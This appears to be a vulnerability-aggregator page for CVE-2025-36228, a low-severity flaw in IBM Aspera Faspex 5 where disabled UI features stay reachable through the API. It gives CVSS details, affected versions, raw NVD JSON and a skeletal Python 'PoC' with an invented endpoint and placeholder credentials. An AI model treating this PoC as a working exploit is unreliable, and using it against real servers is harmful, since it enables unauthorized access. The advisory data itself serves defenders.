Security Vulnerability Report
中文
CVE-2025-36228 CVSS 3.8 LOW

CVE-2025-36228

Published: 2025-12-26 15:15:47
Last Modified: 2025-12-29 18:15:11

Description

IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 may allow inconsistent permissions between the user interface and backend API allowed users to access features that appeared disabled, potentially leading to misuse.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:aspera_faspex:*:*:*:*:*:*:*:* - VULNERABLE
IBM Aspera Faspex 5 5.0.0
IBM Aspera Faspex 5 5.0.1
IBM Aspera Faspex 5 5.0.2
IBM Aspera Faspex 5 5.0.3
IBM Aspera Faspex 5 5.0.4
IBM Aspera Faspex 5 5.0.5
IBM Aspera Faspex 5 5.0.6
IBM Aspera Faspex 5 5.0.7
IBM Aspera Faspex 5 5.0.8
IBM Aspera Faspex 5 5.0.9
IBM Aspera Faspex 5 5.0.10
IBM Aspera Faspex 5 5.0.11
IBM Aspera Faspex 5 5.0.12
IBM Aspera Faspex 5 5.0.13
IBM Aspera Faspex 5 5.0.14.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36228 PoC - IBM Aspera Faspex 5 权限绕过 # 利用UI与API之间的权限检查不一致 import requests import json TARGET_URL = "https://target.example.com" API_ENDPOINT = "/api/v1/features/disabled_endpoint" USERNAME = "[email protected]" PASSWORD = "password123" def exploit_cve_2025_36228(): """ This PoC demonstrates the permission inconsistency between UI and API. The UI shows the feature as disabled, but the API endpoint remains accessible. """ # Step 1: Authenticate and obtain session session = requests.Session() login_url = f"{TARGET_URL}/api/v1/auth/login" # Note: This is a conceptual PoC. Actual exploitation requires valid credentials. # The vulnerability allows accessing features via API that are disabled in UI. # Step 2: Identify disabled feature via UI ui_response = session.get(f"{TARGET_URL}/ui/features") # UI would show certain features as disabled # Step 3: Bypass UI restriction by calling API directly api_response = session.get(f"{TARGET_URL}{API_ENDPOINT}") if api_response.status_code == 200: print("[+] Successfully accessed disabled feature via API") print(f"[+] Response: {api_response.text}") return True else: print("[-] Access denied or feature not vulnerable") return False if __name__ == "__main__": print("CVE-2025-36228 - IBM Aspera Faspex 5 Permission Bypass") print("Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-36228") # exploit_cve_2025_36228()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36228", "sourceIdentifier": "[email protected]", "published": "2025-12-26T15:15:46.540", "lastModified": "2025-12-29T18:15:10.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 may allow inconsistent permissions between the user interface and backend API allowed users to access features that appeared disabled, potentially leading to misuse."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-279"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_faspex:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.14.2", "matchCriteriaId": "FC9C79B9-3E8B-472C-8399-9A8788B0E368"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7255331", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}